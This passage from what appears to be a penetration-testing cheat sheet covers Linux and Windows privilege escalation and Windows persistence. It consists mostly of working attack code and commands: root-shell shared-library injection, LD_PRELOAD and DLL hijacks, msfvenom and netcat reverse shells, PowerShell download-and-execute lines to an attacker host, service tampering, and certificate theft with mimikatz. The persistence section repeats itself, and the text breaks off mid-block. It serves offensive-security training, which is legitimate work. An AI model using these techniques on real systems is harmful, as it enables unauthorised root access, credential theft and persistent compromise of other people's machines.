open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)
```

Because you have got write permissions on the user's home directory, you can create a `libcalc.so` file.

```bash
user@pwnbox:~$ cat libcalc.c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
        setuid(0);
        system("/bin/bash -p");
}
user@pwnbox:~$ mkdir /home/user/.config
user@pwnbox:~$ gcc -shared -o /home/user/.config/libcalc.so -fPIC ./libcalc.c
TCM@debian:~$ /usr/local/bin/suid 
Calculating something, please wait...
bash-4.1# id
uid=0(root) gid=1000(user) egid=50(staff) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
```

## SUDO

Thanks to sudo, you can execute some binaries or commands as the user-specified. Through [GTFobins](https://gtfobins.github.io/#+sudo) you can obtain the way to escalate privileges depending on the command.

```bash
user@pwnbox:~$ cat /etc/sudoers
user@pwnbox:~$ sudo -s # Execute a shell as root
user@pwnbox:~$ sudo -l
User user may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/vim
```

In order to specify the user, you need to provide the flag `-u`; by default, the user will be root.

### LD\_PRELOAD

**LD\_PRELOAD** is an optional environmental variable containing one or more paths to shared libraries or shared objects. The loader will load before any other shared library, including the C runtime library (libc.so).

```bash
user@pwnbox:~$ sudo -l
Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD
User user may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/vim
```

You can escalate privileges if you can execute a program with sudo and the LD\_PRELOAD environment variable is kept.

```bash
user@pwnbox:~$ cat pre.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
user@pwnbox:~$ gcc -fPIC -shared -o pre.so pre.c -nostartfiles
user@pwnbox:~$ sudo LD_PRELOAD=$(pwd)/pre.so vim
```

## /etc/passwd

If you have got write permission in the `/etc/passwd` file, then you can add your own password to the root user. This works because the system checks the password in `/etc/passwd` rather than in `/etc/passwd`.

```bash
-rw-rw-r-- 1 root user 2694 Mar  6  2020 /etc/passwd
```

To create the password, run the following command.

```bash
openssl passwd -1 -salt [salt] [password]
[...]
root:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
```

Then, modify `/etc/passwd` and log in as root.

## /etc/shadow

### Read permissions

If you can read the files `/etc/shadow` and `/etc/passwd`, then you can create an unshadowed file allowing you to crack the stored hashes.

```bash
unshadow <PASSWORD-FILE> <SHADOW-FILE> > unshadowed.txt
john unshadowed.txt -w=<WORDLIST>
```

### Write permissions

You can use the same method shown on the \`\`/etc/shadow\` section to escalate privileges.

## SSH Keys

### authorized\_keys

If you have got write permission to any **authorized\_keys** file, you could append your own SSH public key into it, allowing you to gain access to the machine through SSH.

```bash
find / -name authorized_keys 2> /dev/null
curl http://<IP>/.ssh/id_rsa.pub >> ~/.ssh/authotized_keys
```

### id\_rsa

Might exist some users' SSH private keys stored in the system.

```bash
find / -name id_rsa 2> /dev/null
grep -iRl "private key" / 2>/dev/null
```

Once found them, you can obtain access as the user through SSH.

```bash
chmod 400 id_rsa
ssh -i id_rsa user@<IP>
```

## Crontabs

There can be commands or files executed every specific time that an attacker can modify in order to execute arbitrary commands or files.

You can use the command `cat /etc/crontab` to view what cron jobs are scheduled.

```bash
user@pwnbox:~$ cat /etc/crontab 
# m h dom mon dow user  command
*/5  *    * * * root    /home/user/script.sh
```

However, enumerating the `/etc/crontab` file might not always work due to the lack of privileges, or maybe it will appear empty, but there might be contrab jobs. So, you can use [pspy](https://github.com/DominicBreuker/pspy) looking for cronjobs.

## Capabilities

Linux capabilities provide some root privileges to a process, just as SUID does but more granularly. There are several ways to exploit these [capabilities](https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/), but in this subsection will only appear how to exploit the `cap_setuid` capability.

```bash
# List user capabilities
user@pwnbox:~$ capsh --print 
# Find files with capabilities
user@pwnbox:~$ getcap -r / 2>/dev/null 
/usr/bin/python2.6 = cap_setuid+ep
/usr/bin/perl5.26.1 = cap_setuid+ep 

user@pwnbox:~$ /usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
user@pwnbox:~$ /usr/bin/perl5.26.1 -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
```

## Wildcards

There might be Linux commands executed with elevated privileges that use wildcards.

In this example, you will see how to exploit the wildcard vulnerability for the **tar** binary. However, there are more ways to exploit this vulnerability as you can see here.

* [hackingarticles.in](https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/)
* [materials.rangeforce.com](https://materials.rangeforce.com/tutorial/2019/11/08/Linux-PrivEsc-Wildcard/)

```bash
user@pwnbox:~$ cat /usr/local/bin/compress.sh
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
```

For the command **tar**, we can exploit it with the following commands.

```bash
user@pwnbox:~$ echo "cp /bin/bash /tmp && chmod +s /tmp/bash" > shell.sh
user@pwnbox:~$ echo "" > --checkpoint=1
user@pwnbox:~$ echo "" > "--checkpoint-action=exec=sh shell.sh"
```

Once the script is executed you will have a root SUID bash file.

**Note**: Remember to execute it like this: `/tmp/bash -p`.

## NFS (no\_root\_squash)

By default in Root Squashing is enabled in the NFS service, preventing any user who has access to the NFS share from gaining root access to the NFS volume. However, if disabled, it would allow you to create a SUID file, allowing a remote user to connect to the system as root.

As can be seen in the configuration no\_root\_squash is disabled.

```
cappucino@polonfs:~$ cat /etc/exports 
[...]
/home           *(rw,no_root_squash)
```

Hence, following the instructions of this example, you can escalate privileges.

```
kali@kali:~$ sudo mount -t nfs 10.10.181.37:home /tmp/mount -nolock
cappucino@polonfs:~$ cp /bin/bash .
kali@kali:/tmp/mount/cappucino$ sudo chown root bash
kali@kali:/tmp/mount/cappucino$ sudo chmod +s bash 
cappucino@polonfs:~$ ls -la
-rwsr-sr-x 1 root cappucino 1113504 Jul 15 13:07 bash
cappucino@polonfs:~$ ./bash -p
bash-4.4# id
uid=1000(cappucino) gid=1000(cappucino) euid=0(root)
```

If `bash -p` does not work, use the following method:

```bash
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > x.c
gcc -static x.c -o x
sudo chown root x
sudo chmod u+s x
-bash-4.2$ ./x
bash-4.2# id
uid=0(root) gid=0(root) groups=0(root)
```

## Containers

If you can run any **docker** or **lxd**, then you can create a container mounting the host file system, accessing every file as root.

### Docker

```bash
docker images
docker run -v /:/mnt --rm -it <image> chroot /mnt sh
```

### Lxd

Usually, there are no images installed on the system, so you need to build it manually and then transfer it to the target hosts.

```bash
# Attacker
cd /tmp/
git clone https://github.com/saghul/lxd-alpine-builder.git; cd lxd-alpine-builder/ 
sudo ./build-alpine
python -m SimpleHTTPServer 80
# Victim
wget <IP>/alpine.tar.gz
lxc image import ./alpine.tar.gz --alias myalpine
lxc image list #List images
lxc init myalpine ignite -c security.privileged=true
lxc config device add privesc mydevice disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
```

## Kernel Exploits

This subsection contains a list of the most common kernel exploits you can find on a Linux system.

In order to know what to use you can execute the following command or the script [Linux-exploiot-suggester](https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh).

```bash
uname -a
```

* RDS (CVE-2010-3904) **<= 2.6.36-rc8**: [Link](https://www.exploit-db.com/exploits/15285/)
* FULL NELSONN (CVE-2010-4258) **<= 2.6.37**: [Link](https://www.exploit-db.com/exploits/15704/)
* MEMPODIPPER (CVE-2012-0056) \[ **2.6.39**, **3.2.2** ]: [Link](https://www.exploit-db.com/exploits/18411)
* DirtyCow (CVE-2016-5195) **<= 3.19.0-73.8**: [Link](https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs)
* Polkit’s pkexec(CVE-2021-4034): [Link](https://github.com/arthepsy/CVE-2021-4034)

## References

* [Linux - Privilege Escalation \[PayloadAllTheThings\]](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md)


# Windows

## Introduction

This section contains a set of techniques that can be used to perform privilege escalation on Windows systems.

## Tools

This subsection contains valuable tools to identify potential privilege escalation vectors.

**Note**: Some tools require compilation, but you can download them already compiled in this [link](https://github.com/NyaMeeEain/Privilege-Escalation-Windows).

* **Local Exploit Suggester**: Metasploit module (`post/multi/recon/local_exploit_suggester`) for meterpreter enumerates the system looking for potential privilege escalation vectors.
* [JAWS](https://github.com/411Hall/JAWS): Identifies potential privilege escalation vectors. It is written in PowerShell2.0 so it can be used on Windows 7 and above.
* [WinPAES](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS): General Windows enumeration and privilege escalation vectors.
* [SeatBelt](https://github.com/GhostPack/Seatbe): Performs a number of "security checks": AMSIProviders, Antivirus, Sysmon, WindowsDefender, WindowsEventForwarding, McAfeeConfigs, InterstingProcesses (Needs compilation). Compiled [here](https://github.com/NyaMeeEain/Privilege-Escalation-Windows/blob/master/Seatbelt.exe).

```powershell
Seatbelt.exe -group=system
# runs the following commands:
#        AMSIProviders, AntiVirus, AppLocker, ARPTable, AuditPolicies,
#        AuditPolicyRegistry, AutoRuns, Certificates, CertificateThumbprints,
#        CredGuard, DNSCache, DotNet, EnvironmentPath,
#        EnvironmentVariables, Hotfixes, InterestingProcesses, InternetSettings,
#        LAPS, LastShutdown, LocalGPOs, LocalGroups,
#        LocalUsers, LogonSessions, LSASettings, McAfeeConfigs,
#        NamedPipes, NetworkProfiles, NetworkShares, NTLMSettings,
#        OptionalFeatures, OSInfo, PoweredOnEvents, PowerShell,
#        Processes, PSSessionSettings, RDPSessions, RDPsettings,
#        SCCM, Services, Sysmon, TcpConnections,
#        TokenPrivileges, UAC, UdpConnections, UserRightAssignments,
#        WifiProfile, WindowsAutoLogon, WindowsDefender, WindowsEventForwarding,
#        WindowsFirewall, WMI, WMIEventConsumer, WMIEventFilter,
#        WMIFilterBinding, WSUS
```

* [SharUp](https://github.com/GhostPack/SharpUp): Tool that performs security checks. (Needs compilation). Compiled [here](https://github.com/NyaMeeEain/Privilege-Escalation-Windows/blob/master/SharpUp.exe).
* [ProcMon](https://download.sysinternals.com/files/ProcessMonitor.zip): Tool used to check for missing DLLs in a process/service.
* [AutoRuns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns): GUI tool that displays the machine's autoruns.
* [PowerUp](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc): Tool for privilege escalation based on failures in the Windows configuration. (It gets hanging quite often)

```bash
echo IEX(New-Object Net.WebClient).DownloadString('http://<ATACKER_IP>/PowerUp.ps1') | powershell -noprofile -
powershell.exe -nop -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://<ATACKER_IP>/PowerUp.ps1');Invoke-AllChecks"
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
```

## SeImpersonatePrivilege

In this subsection, you will find how to exploit the Windows privilege **SeImpersonatePrivilege** in order to become an Administrator. Nonetheless, there are more Windows privileges that you can use to become an Administrator, as you can see in the following [list](https://github.com/gtworek/Priv2Admin).

Depending on the Windows version, you will need to use different exploits. In order to obtain the Windows version execute the following command.

```bash
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```

* If the machine is either **Windows 7, 8, 10 or Windows Server 2008 and 2012**, try **Hot Potato**.
* If the machine is either **< Windows 10 1809** or **< Windows Server 2019**, try **Juicy Potato**.
* If the machine is either **>= Windows 10 1809** or **>= Windows Server 2019**, try **Rogue Potato**.
* For more updated versions, try **PrintSpoofer**.

### Hot Potato

1. Download the [exploit](https://github.com/foxglovesec/Potato/raw/master/source/Potato/Potato/bin/Release/Potato.exe).
2. Generate a reverse shell.

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<ATTACKER_PORT> -f exe > shell.exe
```

3\. Set a listening port.

```bash
nc -nlvp <LISTENING_PORT>
```

4\. Execute the exploit.

```bash
Potato.exe -ip <Victims_IP> -cmd "C:\Windows\Temp\shell.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true
```

### Hot Potato (PowerShell)

There is a version of Hot Potato for PowerShell called [Tater](https://github.com/Kevin-Robertson/Tater).

```powershell
powershell.exe -ep bypass "IEX(New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/Tater.ps1'); Invoke-Tater -Trigger 1 -Command 'C:\Users\user\Desktop\nc.exe <ATTACKER_IP> <LISTENING_PORT> -e cmd.exe'"
```

### Juicy Potato

1. Download the [exploit](https://github.com/ohpe/juicy-potato/releases/tag/v0.1)
2. Execute the exploit.

This is the default command, although **it does not usually work**.

```bash
JuicyPotato.exe -l 1337 -p c:\\windows\\system32\\cmd.exe -a "/c c:\\windows\\temp\\nc.exe -e cmd.exe <ATTACKER_IP> <LISTENING_PORT>" -t *
```

Depending on the OS version, it is necessary to use CLSIDs. These can be found in this [repository](https://github.com/ohpe/juicy-potato/tree/master/CLSID).

```bash
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c C:\Windows\System32\spool\drivers\color\nc.exe -e cmd.exe <LISTENING_IP> <LISTENING_PORT>" -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}
```

### Rogue Potato

This exploit is more complicated and requires more steps. Thus, here you have different PoCs that you can try to escalate privileges.

* [PoC1](https://github.com/antonioCoco/RoguePotato)
* [PoC2](https://github.com/antonioCoco/RemotePotato0)

### PrintSpoofer

1. Download the [exploit](https://github.com/itm4n/PrintSpoofer).
2. Execute it

```bash
PrintSpoofer.exe -i -c "cmd.exe"
```

## Windows Services

Windows systems can contain installed services that are being executed by privileged accounts. However, they can have misconfigurations that allow an attacker to escalate privileges.

Furthermore, look for service permissions like `SERVICE_CHANGE_CONFIG`, `SERVICE_ALL_ACCESS`, `SERVICE_STOP`, `SERVICE_START` because they will help you modify the service configuration files, and if you have the last two permissions, you could restart a service executing the file you have overwritten.

Finally, in this subsection, you will find techniques to exploit services misconfigurations to escalate privileges.

### General commands

These commands are used to retrieve or modify information about services.

```bash
# Shows the owner of each service
tasklist /v
# Query the configuration of a service
sc.exe qc <ServiceName> 
# Current status of a service
sc.exe query <ServiceName> 
# Modify the configuration of a service
sc.exe config <ServiceName> <option>=<Value>
# Start/Stop a service
net start/stop <ServiceName> 
```

### Weak Windows Service Permissions

This technique consists of modifying the attribute `binpath` of services, with the purpose of executing a different executable or command at the service startup.

There are several tools that can help you to identify Weak Service Permissiones:

* [**AccessChk**](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk)
  * `u`: Suppress warning and errors.
  * `w`: Shows objects with write access
  * `c`: Display service name
  * `v`: Verbose

```bash
accesschk.exe -uwcqv "Authenticated Users" * /accepteula

# In addition, the tool accesschk allows viewing the effective permissions on files, registry keys, logs, kernel objects...
accesschk64.exe -wvu <FolderPath>
# FOLDER PERMISSIONS
accesschk.exe /accepteula -uwdqs "Authenticated Users" C:\
accesschk.exe /accepteula -uwdqs "Everyone" C:\
# FILE PERMISSIONS
accesschk.exe /accepteula -uwqs  "Authenticated Users" C:\*.*
accesschk.exe /accepteula -uwdqs "Everyone" C:\*.*
```

![ModificableService accesschk](/files/P9XU0rOqRaj7AX9EHrlP)

* **PowerUp**

```powershell
Get-ModifiableService -Verbose
```

* **Get-ServiceAcl**

```powershell
Import-Module .\Get-ServiceAcl.ps1
Get-ServiceAcl -Name VulnService2 | select -expand Access
```

* **SharpUp**

```powershell
.\SharpUp.exe audit ModifiableServices
```

After enumerating the services whose attribute `BINARY_PATH_NAME` is modifiable, edit the `binpath` by the file or command you want to be executed.

```bash
# Alternative 1 (FILE_PATH)
sc config <SERVICE_NAME> binpath="<FILE_PATH>"
# Alternative 1 (Execute command)
sc config <SERVICE_NAME> binpath="cmd.exe /c net user <USER> <PASSWORD> /add && net localgroup Administrators <USER> /add"
```

&#x20;Then, restart the service.

```bash
net stop <SERVICE_NAME> && net start <SERVICE_NAME>
```

![ModificableService BinPath](/files/HKdXV7vu2SsDlmzKPxeY)

### Weak Service Binary Permissions

This vulnerability is similar to the previous one, but instead of weak permissions on the service, it is on the service binary itself so that **it can be overwritten**.

* **SharpUp**

```
.\SharpUp.exe audit ModifiableServiceBinaries
```

* **PowerUp**

```powershell
# Gets services where the current user can write to the service binary path or its config
Get-ModifiableServiceFile -Verbose
```

### Unquoted Service Path

Suppose the binary service path is not enclosed on quotes and contains white spaces. An attacker could place an executable in an upper directory within the binary path, being executed before the actual executable.

For example, the binary path `C:\Program Files\Proof of Concept\Vuln Service\executable.exe` would be executed in the following order.

```bash
C:\Program.exe
C:\Program Files\Proof.exe
C:\Program Files\Proof of Concept\Vuln.exe
C:\Program Files\Proof of Concept\Vuln Service\executable.exe
```

So, if an attacker can create files in one of the upper directories, it will gain code execution.

To obtain the vulnerable services to Unquoted Service Path there are **two options**.

*For the following examples we will use the example service called "unquotedsvc".*

* **WMIC**

```bash
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
```

* **PowerUp**

```powe
Get-UnquotedService -Verbose
```

![PowerUp Unquoted Path](/files/sUcoMSOVOsP6vMGeJQFK)

Then, with the command `Get-Acl '<DIR>' | fl` you can see which users have access to the folder.

* **ShapUp**

```powershell
.\SharpUp.exe audit UnquotedServicePath
```

![UnquotedService DirPermissions](/files/5RrwKLXN3Evc72ptTJ6A)

All the system users have full control so that the file `common.exe` can be added to the folder `Common Files` .

Finally, the malicious file will be executed once the service "unquotedsvc" is restarted.

```bash
sc stop unquotedsvc
sc start unquotedsvc
```

### DLL Hijacking

DLLs are libraries containing code and data with the property of being used concurrently by several programs. If an attacker can overwrite some of the DLLs of a service, it could obtain code execution.

Using **PowerUp** you can obtain libraries on which you have write permissions. In this case is `C:\Temp\wlbsctrl.dll`.

![DLLHijacking PowerUP](/files/yfQOWioBb2obRgoUYLhv)

To replace the **DLL** you need to create another DLL, which can be found at the following [link](https://github.com/sagishahar/scripts/blob/master/windows_dll.c), replacing the command you want to execute.

```
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k net localgroup administrators user /add");
        ExitProcess(0);
    }
    return TRUE;
}
```

Then, you need to execute the following commands to compile the library.

```bash
sudo apt update && sudo apt install mingw-w64 -y
x86_64-w64-mingw32-gcc windows_dll.c -shared -o wlbsctrl.dll
```

Finally, overwrite the DLL and restart the service:

```bash
sc stop dllsvc & sc start dllsvc
```

## Search for credentials

A pentester can search for credentials stored in registry or windows files with the following commands.

```bash
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon" /f password /t REG_SZ /s
# Search for credentials in the HKEY_LOCAL_MACHINE hive
reg query HKLM /f password /t REG_SZ /s
# Searches for credentials in the HK_CURRENT_USER Hive
reg query HKCU /f password /t REG_SZ /s 
# Find config files that usually have stored credentials
dir c:\*vnc.ini /s /s /b
dir c:\*ultravnc.ini /s /b 
dir c:\*vnc.ini /s /b /s /b | findstr /si *vnc.ini
# Find all those strings in config files.
dir /s *pass* == *cred* == *vnc* == *.config* 
```

In addition, credentials can also be found in the following:

**Files**

```bash
c:\sysprep.inf
c:\sysprep\sysprep.xml
c:\unattend.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
```

**Registry**

```bash
# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password" 
# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 
# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" 
# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" 
```

## RunAs

Cached credentials of domain users for a specific machine may be found in the session of a compromised user.

The following command is used to list the cached credentials:

```bash
C:\> cmdkey /list
 
Currently stored credentials:

Target: Domain:interactive=ACCESS\Administrator
Type: Domain Password
User: ACCESS\Administrator
```

Finally, in order to use the stored credential we need to execute the following command:

```
C:> C:\Windows\System32\runas.exe /user:domain\Administrator /savecred "<COMMAND or PROGRAM to be executed>"
```

## Always Install Elevated

This policy allows any user to use elevated permissions for installing any program on the system. Thus, an attacker can create a malicious installer that would be executed with higher privileges gaining privilege escalation.

There are **two options for detecting** whether we can employ this privilege escalation.

* **PowerUP**

![AlwaysInstallElevated PowerUp](/files/bwlLwGPTl2H6RS1gsIGz)

* Checking the **registry values**.

```powershell
PS C:\Users\TCM> reg query HKLM\Software\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
PS C:\Users\TCM> reg query HKCU\Software\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
```

To **exploit** this configuration create a `*.msi` document with **msfvenom** and install it on the remote machine.

**Note**: It is possible that if you install the file using winexec it may not work because the user does not have permission to run it remotely. To fix this, you should use a remote desktop and run the manually generated installer.

```bash
msfvenom -p windows/shell_reverse_tcp lhost=<IP> lport=4444 exitfunc=thread -f msi -o shell.msi
C:\Users\TCM> msiexec /quiet /qn /i .\shell.msi
```

## Delegation Tokens

The meterperer module `incognito` on merterpreter allows the attacker to extract available [Delegation Tokens](https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/design/when-to-use-identity-delegation).

```bash
meterpreter> load incognito
meterpreter> list_tokens -u
Delegation Tokens Available
[...]
meterpreter> impersonate_token <LISTED_TOKEN>
```

## Token Kidnapping

If an attacker has gained execution of code on a service with the ability to impersonate users or has access to the accounts "NETWORK SERVICE" or "LOCAL SERVICE", it could escalate privileges with [churrasco](https://github.com/Re4son/Churrasco/raw/master/churrasco.exe).

```bash
churrasco.exe "nc.exe 10.10.14.2 1234 -e cmd.exe"
```

## CVE-2019-1388 (hhupd)

An elevation of privilege vulnerability exists in the Windows certificate dialog box when it does not properly enforce user privileges, also known as the "Windows certificate dialog box elevation of privilege vulnerability". To exploit this vulnerability follow this [video](https://www.youtube.com/watch?v=BWN0Y0LInjg).

## Kernel Exploits

In order to exploit Kernel vulnerabilities on windows, it is necessary to know if there are any patches or hotfixes already installed on the victim's system.

```bash
wmic qfe
# Brief
wmic qfe get Caption,Description,HotFixID,InstalledOn 
Get-Hotfix
```

It is also important, to check the system architecture. Which can be obtained as follows:

```bash
# CMD
SET Processor
# PowerShell
[Environment]::Is64BitProcess
```

Vanilla PowerShell is run on 32-bit so 64-bit exploits will not work, for this you need to use 64-bit PowerShell found at:

```bash
C:\Windows\sysnative\WindowsPowershell\v1.0\powershell.exe
```

### Exploit listing

In this [listing](https://github.com/SecWiki/windows-kernel-exploits), you will find a set of compiled exploits, ready to be executed.

For the **OSCP**, you can use this [listing](https://github.com/evets007/OSCP-Prep-cheatsheet/blob/master/windows-exploits.md), that contains a subset of exploits to escalate privileges.

## Suggested tools

There are different tools capable of finding which exploits work for the version of Windows under attack.

### Windows Exploit Suggester

[Windows Exploit Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) detects possible missing patches on the target. It also notifies the user if public exploits and Metasploit modules are available for missing bulletins. (**Requires Python2.7**).

In order to use the tool, it is necessary to run `systeminfo` on the victim machine and copy it to a file on the attacking machine.

```bash
python windows-exploit-suggester.py --update
python windows-exploit-suggester.py --database <DOWNLADED_DATABASE> --systeminfo <VICTIMS_SYSTEMINFO> 
```

### Watson

[Watson](https://github.com/rasta-mouse/Watson) lists Windows HotFixes and suggests exploits for privilege escalation. However, it **requires prior compilation**.

Nonetheless, you can download the compiled version [here](https://github.com/NyaMeeEain/Privilege-Escalation-Windows/blob/master/Watson.exe).

### Sherlock

[Sherlock](https://github.com/rasta-mouse/Sherlock) quickly finds missing windows patches to escalate privileges, but it takes a while to finish.

```bash
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://<ATACKER_IP>/Sherlock.ps1');Find-AllVulns"
```

## References

* [Potatoes - Windows Privilege Escalation](https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html)
* [Always Install Elevated](https://pentestlab.blog/2017/02/28/always-install-elevated/)
* [Windows PrivEsc Arena \[TryHackeMe\]](https://tryhackme.com/room/windowsprivescarena)
* [Windows PrivEsc \[TryHackMe\]](https://tryhackme.com/room/windows10privesc)
* [Token kidnapping](https://web.archive.org/web/20130207155706/https://www.argeniss.com/research/TokenKidnapping.pdf)
* [Windows Privilege Escalation Fundamentals](https://www.fuzzysecurity.com/tutorials/16.html)
* [Windows - Privilege Escalation \[PayloadAllTheThings\]](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)


# Persistance

During a pentesting, you might want to have persistence on a machine for accessing the system, avoiding executing the original exploit used to gain access several times or to maintain a new session with higher privileges than you had at the beginning.

In this section, there are several techniques to keep persistence on a machine:


# Windows

## Encoding commands

In most cases, the commands you want to execute might have special characters, so the best way is to encode them to avoid errors while executing.

* **Windows**

```powershell
$str = 'IEX ((new-object net.webclient).downloadstring("http://<ATTACKER_IP>/shell.ps1"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
```

* **Linux**

```powershell
str='IEX ((new-object net.webclient).downloadstring("http://<ATTACKER_IP>/shell.ps1"))'
echo -en $str | iconv -t UTF-16LE | base64 -w 0
```

## Task Scheduler

A task that will be executed hourly.

```powershell
.\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <ENCODED_PAYLOAD>" -n "Updater" -m add -o hourly
```

## StartUp Folder

This command will be executed once the user logs in.

```powershell
SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <ENCODED_PAYLOAD>" -f "UserEnvSetup" -m add
```

## WMI

Create a WMI event subscription that will be executed whenever a process is started. In this case, will be a notepad.

```powershell
Import-Module .\PowerLurk.ps1
Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:\Windows\dns_x64.exe" -Trigger ProcessStart -ProcessName notepad.exe
```

## Certificates

Certificates are a valuable tool for maintaining persistent access to both users and computers, as they typically have a longer lifespan compared to passwords. User certificates, for instance, are valid for a full year by default, regardless of any password changes made during that period. Unlike password-based access, certificates only become invalid if they are revoked by the issuing Certificate Authority (CA) or if they expire.

Additionally, certificate-based access does not rely on any vulnerable templates, making it a reliable option for maintaining access. Attackers can extract already issued certificates or request new ones to continue accessing the target system(s) over an extended period of time.

### User

1\. Enumerate the certificates on the machine

```powershell
.\Seatbelt.exe Certificates
```

2\. Dump the certificates with mimikatz. The pfx certificate password will be "mimikatz"

```powershell
.\mimikatz.exe "crypto::certificates /export" "exit"
```

3\. Base64 encode the pfx file.

```bash
cat <CERTIFICATE>.pfx | base64 -w 0
```

4\. Use Rubeus to obtain a TGT.

```powershell
.\Rubeus.exe asktgt /password:mimikatz /nowrap /user:nlamb [/enctype:aes256] /certificate:<BASE64_CERT>
```

### Computer

> You must be admin&#x20;

1\. Extract the machine certificates.

```powershell
.\mimikatz.exe "crypto::capi" "crypto::certificates /systemstore:local_machine /export" "exit"
```

2\. Base64 encode the pfx file.

```
cat <CERTIFICATE>.pfx | base64 -w 0
```

3\. Request a TGT

```powershell
.\Rubeus.exe asktgt /user:<HOSTNAME>$ /enctype:aes256 /password:mimikatz /nowrap /certificate:<BASE64_CERT> 
```

## Task Scheduler

A task that will be executed hourly.

```powershell
.\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <ENCODED_PAYLOAD>" -n "Updater" -m add -o hourly
```

## StartUp Folder

This command will be executed once the user logs in.

```powershell
SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <ENCODED_PAYLOAD>" -f "UserEnvSetup" -m add
```

## WMI

Create a WMI event subscription that will be executed whenever a process is started. In this case, will be a notepad.

```powershell
Import-Module .\PowerLurk.ps1
Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:\Windows\dns_x64.exe" -Trigger ProcessStart -ProcessName notepad.exe
```

## Certificates

Certificates are a valuable tool for maintaining persistent access to both users and computers, as they typically have a longer lifespan compared to passwords. User certificates, for instance, are valid for a full year by default, regardless of any password changes made during that period. Unlike password-based access, certificates only become invalid if they are revoked by the issuing Certificate Authority (CA) or if they expire.

Additionally, certificate-based access does not rely on any vulnerable templates, making it a reliable option for maintaining access. Attackers can extract already issued certificates or request new ones to continue accessing the target system(s) over an extended period of time.

### User

1\. Enumerate the certificates on the machine

```powershell
.\Seatbelt.exe Certificates
```

2\. Dump the certificates with mimikatz. The pfx certificate password will be "mimikatz"

```powershell
.\mimikatz.exe "crypto::certificates /export" "exit"
```

3\. Base64 encode the pfx file.

```bash
cat <CERTIFICATE>.pfx | base64 -w 0
```

4\. Use Rubeus to obtain a TGT.

```powershell
.\Rubeus.exe asktgt /password:mimikatz /nowrap /user:nlamb [/enctype:aes256] /certificate:<BASE64_CERT>
```

### Computer

> You must be admin 1. Extract the machine certificates.

```powershell
.\mimikatz.exe "crypto::capi" "crypto::certificates /systemstore:local_machine /export" "exit"
```

2\. Base64 encode the pfx file.

```
cat <CERTIFICATE>.pfx | base64 -w 0
```

3\. Request a TGT

```powershell
